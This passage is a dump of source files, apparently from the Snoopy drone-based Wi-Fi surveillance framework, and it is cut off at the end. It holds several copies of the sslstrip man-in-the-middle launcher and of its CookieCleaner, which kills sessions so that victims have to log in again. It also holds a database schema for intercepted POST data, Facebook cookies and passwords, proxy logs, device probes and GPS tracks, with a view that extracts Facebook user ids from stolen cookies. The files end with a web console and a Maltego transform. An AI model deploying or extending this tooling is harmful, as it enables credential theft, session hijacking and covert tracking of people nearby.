33 | start_time=m.AdditionalFields['start_time']
34 | end_time=m.AdditionalFields['end_time']
35 | else:
36 | start_time=now+datetime.timedelta(seconds=-lookback)
37 | end_time=now+datetime.timedelta(seconds=lookback)
38 |
39 | # Maltego requires format e.g 2012-10-23 22:37:12.0
40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
43 |
44 | if 'location' in m.AdditionalFields:
45 | location=m.AdditionalFields['location']
46 | else:
47 | location="%"
48 |
49 |
50 | logging.debug("-----------------")
51 |
52 | logging.debug("1. Currenttime -%s, Start time - %s, End time - %s" %(now,start_time,end_time))
53 | try:
54 |
55 | logging.debug("select DISTINCT drone_conf.id from dhcp_leases inner join mac_vendor on mac_prefix=mac_vendor.mac inner join squid_logs on client_ip=dhcp_leases.ip inner join drone_conf on drone_conf.ip_prefix=dhcp_leases.ip_prefix WHERE squid_logs.timestamp > %s AND squid_logs.timestamp < %s UNION SELECT DISTINCT monitor_id FROM probes WHERE timestamp > %s AND timestamp < %s AND location LIKE %s" % (start_time,end_time,start_time,end_time,location))
56 | cursor.execute("select DISTINCT drone_conf.id from dhcp_leases inner join mac_vendor on mac_prefix=mac_vendor.mac inner join squid_logs on client_ip=dhcp_leases.ip inner join drone_conf on drone_conf.ip_prefix=dhcp_leases.ip_prefix WHERE squid_logs.timestamp > %s AND squid_logs.timestamp < %s UNION SELECT DISTINCT monitor_id FROM probes WHERE timestamp > %s AND timestamp < %s AND location LIKE %s", (start_time,end_time,start_time,end_time,location))
57 |
58 | # cursor.execute("select DISTINCT drone_conf.id from dhcp_leases inner join mac_vendor on mac_prefix=mac_vendor.mac inner join squid_logs on client_ip=dhcp_leases.ip inner join drone_conf on drone_conf.ip_prefix=dhcp_leases.ip_prefix WHERE squid_logs.timestamp > %s AND squid_logs.timestamp < %s UNION SELECT DISTINCT monitor_id FROM proximity_sessions WHERE last_probe > %s AND last_probe < %s AND location LIKE %s", (start_time,end_time,start_time,end_time,location))
59 | results=cursor.fetchall()
60 |
61 | logging.debug("Observed drone count: %d" %len(results))
62 |
63 | for row in results:
64 | logging.debug("2. Currenttime -%s, Start time - %s, End time - %s" %(now,start_time,end_time))
65 | drone=row[0]
66 | NewEnt=TRX.addEntity("snoopy.Drone", row[0]);
67 | NewEnt.addAdditionalFields("drone","drone", "strict", row[0])
68 | NewEnt.addAdditionalFields("start_time","Start time", "nostrict", start_time)
69 | NewEnt.addAdditionalFields("end_time","End time", "nostrict", end_time)
70 | # NewEnt.addAdditionalFields("location","location", "strict", location)
71 |
72 | NewEnt.addAdditionalFields("start_time_txt","Start time_txt", "nostrict", start_time)
73 | NewEnt.addAdditionalFields("end_time_txt","End time_txt", "nostrict", end_time)
74 |
75 |
76 | NewEnt.addAdditionalFields("current_time","current_time","nostrict",now)
77 |
78 |
79 | except Exception, e:
80 | logging.debug("Exception:")
81 | logging.debug(e)
82 |
83 |
84 | TRX.returnOutput()
85 |
86 | main()
87 |
88 |
--------------------------------------------------------------------------------
/snoopy/server/setup/db_setup.sql:
--------------------------------------------------------------------------------
1 | DROP database IF EXISTS snoopy;
2 |
3 | CREATE database snoopy charset=utf8;
4 | use snoopy;
5 |
6 | GRANT ALL on snoopy .* TO snoopy@'localhost' IDENTIFIED BY 'RANDOMPASSWORDGOESHERE';
7 | FLUSH PRIVILEGES;
8 |
9 | CREATE TABLE sslstrip(
10 | timestamp DATETIME,
11 | secure TINYINT,
12 | host VARCHAR(50),
13 | domain VARCHAR(50),
14 | src_ip VARCHAR(16),
15 | url VARCHAR(70),
16 | post VARCHAR(400)
17 | );
18 |
19 | CREATE TABLE facebook(
20 | id VARCHAR(20),
21 | ip VARCHAR(20),
22 | name VARCHAR(100),
23 | first_name VARCHAR(100),
24 | last_name VARCHAR(100),
25 | link VARCHAR(100),
26 | username VARCHAR(100),
27 | gender VARCHAR(10),
28 | locale VARCHAR(40),
29 | network VARCHAR(40),
30 | it VARCHAR(20),
31 | degree INT,
32 | cookie TEXT,
33 | password VARCHAR(50),
34 |
35 | PRIMARY KEY(id)
36 | );
37 |
38 | CREATE TABLE facebook_friends(
39 | id VARCHAR(20),
40 | friend_id VARCHAR(20)
41 | );
42 |
43 |
44 | CREATE TABLE probes(
45 | monitor_id VARCHAR(20), INDEX(monitor_id),
46 | device_mac VARCHAR(12), INDEX(device_mac),
47 | location VARCHAR(200),
48 | probe_ssid varchar(100), INDEX(probe_ssid),
49 | signal_db INT(11),
50 | timestamp DATETIME, INDEX(timestamp),
51 | run_id VARCHAR(20),
52 | proximity_session VARCHAR(20),
53 | priority TINYINT,
54 | mac_prefix VARCHAR(6), INDEX(mac_prefix),
55 | PRIMARY KEY(monitor_id,device_mac,probe_ssid,timestamp)
56 | );
57 |
58 | CREATE TABLE gps_movement(
59 | monitor_id VARCHAR(20),
60 | run_id VARCHAR(20),
61 | timestamp DATETIME,
62 | gps_lat decimal(8,6),
63 | gps_long decimal(8,6),
64 | accuracy decimal(8,6),
65 | PRIMARY KEY(monitor_id, timestamp)
66 | );
67 |
68 | CREATE TABLE wigle(
69 | ssid VARCHAR(100), INDEX(ssid),
70 | gps_long decimal(11,8),
71 | gps_lat decimal(11,8),
72 | last_update DATETIME,
73 | mac VARCHAR(12),
74 | overflow SMALLINT(6),
75 | country VARCHAR(30),
76 | code VARCHAR(10),
77 | address VARCHAR(200)
78 | );
79 |
80 | CREATE TABLE dhcp_leases(
81 | mac CHAR(12),
82 | ip VARCHAR(16), INDEX(ip),
83 | hostname VARCHAR(40),
84 | expire DATETIME,
85 | mac_prefix CHAR(6), INDEX (mac_prefix),
86 | ip_prefix VARCHAR(7), INDEX (ip_prefix),
87 | PRIMARY KEY(mac,ip)
88 | );
89 |
90 | CREATE TABLE squid_logs(
91 | timestamp DATETIME,
92 | client_ip VARCHAR(16), INDEX(client_ip),
93 | http_code INT,
94 | method VARCHAR(4),
95 | domain VARCHAR(50),
96 | host VARCHAR(50),
97 | url TEXT,
98 | ua VARCHAR(200),
99 | cookies TEXT
100 | );
101 |
102 | CREATE TABLE drone_conf(
103 | id VARCHAR(30),
104 | comment VARCHAR(50),
105 | ip_tap VARCHAR(16),
106 | ip_wifi VARCHAR(16),
107 | ip_prefix VARCHAR(7), INDEX(ip_prefix),
108 | download_link VARCHAR(32)
109 | );
110 |
111 | CREATE TABLE mac_vendor(
112 | mac VARCHAR(6), INDEX(mac),
113 | vendor_short VARCHAR(12),
114 | vendor_long VARCHAR(30)
115 | );
116 |
117 |
118 | CREATE TABLE snoopy_user (
119 | id int(11) NOT NULL AUTO_INCREMENT,
120 | name varchar(255),
121 | password varchar(255) NOT NULL,
122 | is_admin tinyint(1) NOT NULL,
123 | PRIMARY KEY (id),
124 | UNIQUE KEY name (name)
125 | );
126 |
127 | CREATE VIEW get_fb_from_squid AS SELECT SUBSTRING(cookies,7+(SELECT LOCATE("c_user",cookies)),(SELECT (LOCATE(";",cookies, (SELECT LOCATE("c_user",cookies)))) -(SELECT LOCATE("c_user",cookies)+7))) as c_user, cookies,client_ip FROM squid_logs WHERE cookies LIKE '%c_user%' GROUP BY c_user;
128 |
129 | CREATE VIEW snoopy_web_logs AS
130 | SELECT DISTINCT id AS drone_id,mac,squid_logs.client_ip,hostname AS client_hostname,domain,host,url,ua,cookies,timestamp
131 | FROM
132 | drone_conf,
133 | squid_logs,
134 | dhcp_leases
135 |
136 | WHERE
137 | SUBSTRING(drone_conf.ip_wifi,1,LOCATE('.', drone_conf.ip_wifi, LOCATE('.', drone_conf.ip_wifi)+1)) = SUBSTRING(squid_logs.client_ip,1,LOCATE('.',squid_logs.client_ip, LOCATE('.',squid_logs.client_ip)+1))
138 | AND squid_logs.client_ip=dhcp_leases.ip;
139 |
140 | CREATE VIEW proximity_sessions AS
141 | SELECT monitor_id,location,device_mac, MIN(timestamp) AS first_probe,MAX(timestamp) AS last_probe,MAX(timestamp)-MIN(timestamp) AS duration, mac_vendor.vendor_short FROM probes, mac_vendor WHERE probes.mac_prefix=mac_vendor.mac GROUP BY monitor_id,proximity_session ORDER BY first_probe;
142 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Usage: sslstrip \n"
41 | print "Options:"
42 | print "-w , --write= Specify file to log to (optional)."
43 | print "-p , --post Log only SSL POSTs. (default)"
44 | print "-s , --ssl Log all SSL traffic to and from server."
45 | print "-a , --all Log all SSL and HTTP traffic to and from server."
46 | print "-l , --listen= Port to listen on (default 10000)."
47 | print "-f , --favicon Substitute a lock favicon on secure requests."
48 | print "-k , --killsessions Kill sessions in progress."
49 | print "-h Print this help message."
50 | print ""
51 |
52 | def parseOptions(argv):
53 | logFile = 'sslstrip.log'
54 | logLevel = logging.WARNING
55 | listenPort = 10000
56 | spoofFavicon = False
57 | killSessions = False
58 |
59 | try:
60 | opts, args = getopt.getopt(argv, "hw:l:psafk",
61 | ["help", "write=", "post", "ssl", "all", "listen=",
62 | "favicon", "killsessions"])
63 |
64 | for opt, arg in opts:
65 | if opt in ("-h", "--help"):
66 | usage()
67 | sys.exit()
68 | elif opt in ("-w", "--write"):
69 | logFile = arg
70 | elif opt in ("-p", "--post"):
71 | logLevel = logging.WARNING
72 | elif opt in ("-s", "--ssl"):
73 | logLevel = logging.INFO
74 | elif opt in ("-a", "--all"):
75 | logLevel = logging.DEBUG
76 | elif opt in ("-l", "--listen"):
77 | listenPort = arg
78 | elif opt in ("-f", "--favicon"):
79 | spoofFavicon = True
80 | elif opt in ("-k", "--killsessions"):
81 | killSessions = True
82 |
83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84 |
85 | except getopt.GetoptError:
86 | usage()
87 | sys.exit(2)
88 |
89 | def main(argv):
90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
91 |
92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
93 | filename=logFile, filemode='a')
94 |
95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
96 | CookieCleaner.getInstance().setEnabled(killSessions)
97 |
98 | strippingFactory = http.HTTPFactory(timeout=10)
99 | strippingFactory.protocol = StrippingProxy
100 |
101 | reactor.listenTCP(int(listenPort), strippingFactory)
102 |
103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
104 |
105 | reactor.run()
106 |
107 | if __name__ == '__main__':
108 | main(sys.argv[1:])
109 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/scripts-2.7/sslstrip:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Usage: sslstrip \n"
41 | print "Options:"
42 | print "-w , --write= Specify file to log to (optional)."
43 | print "-p , --post Log only SSL POSTs. (default)"
44 | print "-s , --ssl Log all SSL traffic to and from server."
45 | print "-a , --all Log all SSL and HTTP traffic to and from server."
46 | print "-l , --listen= Port to listen on (default 10000)."
47 | print "-f , --favicon Substitute a lock favicon on secure requests."
48 | print "-k , --killsessions Kill sessions in progress."
49 | print "-h Print this help message."
50 | print ""
51 |
52 | def parseOptions(argv):
53 | logFile = 'sslstrip.log'
54 | logLevel = logging.WARNING
55 | listenPort = 10000
56 | spoofFavicon = False
57 | killSessions = False
58 |
59 | try:
60 | opts, args = getopt.getopt(argv, "hw:l:psafk",
61 | ["help", "write=", "post", "ssl", "all", "listen=",
62 | "favicon", "killsessions"])
63 |
64 | for opt, arg in opts:
65 | if opt in ("-h", "--help"):
66 | usage()
67 | sys.exit()
68 | elif opt in ("-w", "--write"):
69 | logFile = arg
70 | elif opt in ("-p", "--post"):
71 | logLevel = logging.WARNING
72 | elif opt in ("-s", "--ssl"):
73 | logLevel = logging.INFO
74 | elif opt in ("-a", "--all"):
75 | logLevel = logging.DEBUG
76 | elif opt in ("-l", "--listen"):
77 | listenPort = arg
78 | elif opt in ("-f", "--favicon"):
79 | spoofFavicon = True
80 | elif opt in ("-k", "--killsessions"):
81 | killSessions = True
82 |
83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84 |
85 | except getopt.GetoptError:
86 | usage()
87 | sys.exit(2)
88 |
89 | def main(argv):
90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
91 |
92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
93 | filename=logFile, filemode='w')
94 |
95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
96 | CookieCleaner.getInstance().setEnabled(killSessions)
97 |
98 | strippingFactory = http.HTTPFactory(timeout=10)
99 | strippingFactory.protocol = StrippingProxy
100 |
101 | reactor.listenTCP(int(listenPort), strippingFactory)
102 |
103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
104 |
105 | reactor.run()
106 |
107 | if __name__ == '__main__':
108 | main(sys.argv[1:])
109 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4 |
5 | __author__ = "Moxie Marlinspike"
6 | __email__ = "moxie@thoughtcrime.org"
7 | __license__= """
8 | Copyright (c) 2004-2009 Moxie Marlinspike
9 |
10 | This program is free software; you can redistribute it and/or
11 | modify it under the terms of the GNU General Public License as
12 | published by the Free Software Foundation; either version 3 of the
13 | License, or (at your option) any later version.
14 |
15 | This program is distributed in the hope that it will be useful, but
16 | WITHOUT ANY WARRANTY; without even the implied warranty of
17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18 | General Public License for more details.
19 |
20 | You should have received a copy of the GNU General Public License
21 | along with this program; if not, write to the Free Software
22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23 | USA
24 |
25 | """
26 |
27 | from twisted.web import http
28 | from twisted.internet import reactor
29 |
30 | from sslstrip.StrippingProxy import StrippingProxy
31 | from sslstrip.URLMonitor import URLMonitor
32 | from sslstrip.CookieCleaner import CookieCleaner
33 |
34 | import sys, getopt, logging, traceback, string, os
35 |
36 | gVersion = "0.9"
37 |
38 | def usage():
39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40 | print "Usage: sslstrip \n"
41 | print "Options:"
42 | print "-w , --write= Specify file to log to (optional)."
43 | print "-p , --post Log only SSL POSTs. (default)"
44 | print "-s , --ssl Log all SSL traffic to and from server."
45 | print "-a , --all Log all SSL and HTTP traffic to and from server."
46 | print "-l , --listen= Port to listen on (default 10000)."
47 | print "-f , --favicon Substitute a lock favicon on secure requests."
48 | print "-k , --killsessions Kill sessions in progress."
49 | print "-h Print this help message."
50 | print ""
51 |
52 | def parseOptions(argv):
53 | logFile = 'sslstrip.log'
54 | logLevel = logging.WARNING
55 | listenPort = 10000
56 | spoofFavicon = False
57 | killSessions = False
58 |
59 | try:
60 | opts, args = getopt.getopt(argv, "hw:l:psafk",
61 | ["help", "write=", "post", "ssl", "all", "listen=",
62 | "favicon", "killsessions"])
63 |
64 | for opt, arg in opts:
65 | if opt in ("-h", "--help"):
66 | usage()
67 | sys.exit()
68 | elif opt in ("-w", "--write"):
69 | logFile = arg
70 | elif opt in ("-p", "--post"):
71 | logLevel = logging.WARNING
72 | elif opt in ("-s", "--ssl"):
73 | logLevel = logging.INFO
74 | elif opt in ("-a", "--all"):
75 | logLevel = logging.DEBUG
76 | elif opt in ("-l", "--listen"):
77 | listenPort = arg
78 | elif opt in ("-f", "--favicon"):
79 | spoofFavicon = True
80 | elif opt in ("-k", "--killsessions"):
81 | killSessions = True
82 |
83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84 |
85 | except getopt.GetoptError:
86 | usage()
87 | sys.exit(2)
88 |
89 | def main(argv):
90 | print argv
91 | print type(argv)
92 |
93 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
94 |
95 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
96 | filename=logFile, filemode='a')
97 |
98 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
99 | CookieCleaner.getInstance().setEnabled(killSessions)
100 |
101 | strippingFactory = http.HTTPFactory(timeout=10)
102 | strippingFactory.protocol = StrippingProxy
103 |
104 | reactor.listenTCP(int(listenPort), strippingFactory)
105 |
106 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
107 |
108 | reactor.run()
109 |
110 | if __name__ == '__main__':
111 | main(sys.argv[1:])
112 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/web/main.py:
--------------------------------------------------------------------------------
1 | import logging
2 | #log = logging.getLogger('snoopy')
3 |
4 | from beaker.middleware import SessionMiddleware
5 | from flask import Flask, jsonify, request, redirect, render_template, url_for
6 | from sqlalchemy import distinct, func
7 |
8 | from snoopy import config, db, pluginregistry
9 |
10 | from snoopy.web import login_required
11 |
12 |
13 | app = Flask('snoopy')
14 |
15 | @app.route('/')
16 | @login_required
17 | def main():
18 | return render_template('main.html')
19 |
20 |
21 | @app.route('/login')
22 | def login():
23 | beaker = request.environ['beaker.session']
24 | if beaker.has_key('userid'):
25 | return redirect(url_for('main'))
26 | else:
27 | return render_template('login.html')
28 |
29 |
30 | @app.route('/login', methods=['POST'])
31 | def perform_login_json():
32 | username = request.form.get('username', '')
33 | password = request.form.get('password', '')
34 | user = db.User.check_password(username, password)
35 | if user:
36 | beaker = request.environ['beaker.session']
37 | beaker['userid'] = user.id
38 | beaker.save()
39 | return jsonify(success=True)
40 | return jsonify(success=False)
41 |
42 |
43 | @app.route('/logout')
44 | def logout():
45 | beaker = request.environ['beaker.session']
46 | del beaker['userid']
47 | beaker.save()
48 | return redirect(url_for('login'))
49 |
50 |
51 | @app.route('/drone/list', methods=['POST'])
52 | @login_required
53 | def drone_list_json():
54 | try:
55 | with db.SessionCtx() as session:
56 | devlist = session.query(
57 | db.Probe.monitor, func.count(distinct(db.Probe.device_mac))
58 | ).group_by(db.Probe.monitor).all()
59 | devlist = [dict(zip(('devname', 'n_macs'), d)) for d in devlist]
60 | return jsonify(success=True, drones=devlist)
61 | except Exception:
62 | logging.exception('Error getting monitor list:')
63 | return jsonify(success=False, errors=['Internal error'])
64 |
65 |
66 | @app.route('/client/list', methods=['POST'])
67 | @login_required
68 | def client_list_json():
69 | if not request.form.has_key('monitor'):
70 | logging.error('No monitor specified. This should not happen.')
71 | return jsonify(success=True, clients=[])
72 | monitor = request.form['monitor']
73 | try:
74 | with db.SessionCtx() as session:
75 | clients = session.query(
76 | db.Probe.device_mac,
77 | func.count(distinct(db.Probe.proximity_session)).label('cnt')
78 | )
79 | if monitor != '*':
80 | clients = clients.filter_by(monitor=monitor)
81 | clients = clients.group_by(db.Probe.device_mac)
82 | clients = clients.order_by('cnt DESC').all()
83 | clients = [{'mac': c[0], 'n_sessions': c[1]} for c in clients]
84 | return jsonify(success=True, clients=clients)
85 | except Exception:
86 | logging.exception('Error getting probed device list:')
87 | return jsonify(success=False, errors=['Internal error'])
88 |
89 |
90 | @app.route('/client/data/get', methods=['POST'])
91 | @login_required
92 | def client_data_get():
93 | mac = request.form.get('mac', None)
94 | if not mac:
95 | return jsonify(success=False, errors=['Invalid request'])
96 | cldata = {}
97 | for fn, options in pluginregistry.plugins['client-data'].iteritems():
98 | cldata[options['name']] = dict(title=options['title'], data=fn(mac))
99 | return jsonify(success=True, client_data=cldata)
100 |
101 |
102 | @app.route('/plugin/list', methods=['POST'])
103 | @login_required
104 | def plugin_list():
105 | if request.form.get('group'):
106 | group = request.form.get('group')
107 | groupfilter = lambda x: x == group
108 | else:
109 | groupfilter = lambda x: True
110 |
111 | plugindata = []
112 | for group, plugins in pluginregistry.plugins.iteritems():
113 | if not groupfilter(group):
114 | continue
115 | for fn, options in plugins.iteritems():
116 | if 'js' in options:
117 | plugindata.append({'jsurl': options['js']})
118 | return jsonify(success=True, plugins=plugindata)
119 |
120 |
121 | ####################################################
122 |
123 |
124 | def start():
125 | config.from_sysargv()
126 | db.init(None)
127 | pluginregistry.collect()
128 | app.wsgi_app = SessionMiddleware(app.wsgi_app, config['beaker'])
129 | app.config.update(config['flask'])
130 | app.run(host='0.0.0.0')
131 |
132 | if __name__ == '__main__':
133 | start()
134 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
